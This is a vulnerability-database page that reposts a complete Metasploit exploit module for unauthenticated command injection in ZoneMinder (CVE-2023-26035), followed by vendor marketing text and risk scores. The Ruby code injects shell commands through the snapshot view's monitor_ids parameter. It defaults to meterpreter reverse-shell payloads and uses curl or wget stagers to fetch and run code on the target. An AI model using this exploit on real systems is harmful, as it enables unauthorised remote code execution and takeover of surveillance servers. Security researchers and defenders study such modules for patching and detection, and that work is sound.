Lucene search
K

ZoneMinder Snapshots Command Injection Exploit

🗓️ 14 Nov 2023 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 947 Views

ZoneMinder Snapshots Command Injection exploit affecting versions < 1.36.33, < 1.37.33. Allows unauthenticated command injection by appending a command to the "create monitor ids[]" action of the snapshot view

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ZoneMinder Snapshots Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated command injection
          in zoneminder that can be exploited by appending a command
          to the "create monitor ids[]"-action of the snapshot view.
          Affected versions: < 1.36.33, < 1.37.33
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'UnblvR',    # Discovery
          'whotwagner' # Metasploit Module
        ],
        'References' => [
          [ 'CVE', '2023-26035' ],
          [ 'URL', 'https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr']
        ],
        'Privileged' => false,
        'Platform' => ['linux', 'unix'],
        'Targets' => [
          [
            'nix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ],
          [
            'Linux (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64],
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
              'Type' => :linux_dropper
            }
          ],
        ],
        'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-02-24',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The ZoneMinder path', '/zm/'])
    ])
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    )
    return Exploit::CheckCode::Unknown('No response from the web service') if res.nil?
    return Exploit::CheckCode::Safe("Check TARGETURI - unexpected HTTP response code: #{res.code}") if res.code != 200

    unless res.body.include?('ZoneMinder')
      return Exploit::CheckCode::Safe('Target is not a ZoneMinder web server')
    end

    csrf_magic = get_csrf_magic(res)
    # This check executes a sleep-command and checks the response-time
    sleep_time = rand(5..10)
    data = "view=snapshot&action=create&monitor_ids[0][Id]=0;sleep #{sleep_time}"
    data += "&__csrf_magic=#{csrf_magic}" if csrf_magic
    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'data' => data.to_s,
        'keep_cookies' => true
      )
    end
    return Exploit::CheckCode::Unknown('Could not connect to the web service') unless res

    print_status("Elapsed time: #{elapsed_time} seconds.")
    if sleep_time < elapsed_time
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe('Target is not vulnerable')
  end

  def execute_command(cmd, _opts = {})
    command = Rex::Text.uri_encode(cmd)
    print_status('Sending payload')
    data = "view=snapshot&action=create&monitor_ids[0][Id]=;#{command}"
    data += "&__csrf_magic=#{@csrf_magic}" if @csrf_magic
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'data' => data.to_s
    )
    print_good('Payload sent')
  end

  def exploit
    # get magic csrf-token
    print_status('Fetching CSRF Token')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    )

    if res && res.code == 200
      # parse token
      @csrf_magic = get_csrf_magic(res)
      unless @csrf_magic =~ /^key:[a-f0-9]{40},\d+/
        fail_with(Failure::UnexpectedReply, 'Unable to parse token.')
      end
    else
      fail_with(Failure::UnexpectedReply, 'Unable to fetch token.')
    end
    print_good("Got Token: #{@csrf_magic}")
    # send payload
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  private

  def get_csrf_magic(res)
    return if res.nil?

    res.get_html_document.at('//input[@name="__csrf_magic"]/@value')&.text
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Nov 2023 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 3.17.2 - 9.8
EPSS0.55008
947